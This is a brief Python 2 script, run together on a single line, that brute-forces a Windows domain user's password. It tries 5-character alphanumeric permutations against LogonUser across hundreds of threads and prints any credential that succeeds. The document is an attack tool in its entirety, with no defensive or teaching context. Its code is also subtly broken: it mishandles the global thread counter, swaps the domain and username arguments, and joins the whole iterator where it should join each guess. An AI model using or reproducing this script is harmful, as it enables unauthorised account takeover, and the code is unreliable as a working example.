import threading import win32security import time import string import itertools domain = raw_input ("Domain: ") username = raw_input ("Username: ") global activethreads activethreads = 0 def guesspw(domain,username,password): activethreads += 1 try: hUser = win32security.LogonUser ( username, domain, password, win32security.LOGON32_LOGON_NETWORK, win32security.LOGON32_PROVIDER_DEFAULT ) except win32security.error: pass else: print "Succeeded ---> got password: " + domain + "\\" + username + " : " + password activethreads -= 1 res = itertools.permutations(string.ascii_lowercase + string.ascii_uppercase + "0123456789", 5) for guess in res: while activethreads >= 512: time.sleep(0.01) threading.Thread(target=guesspw, args=(username,domain,''.join(res),)).start()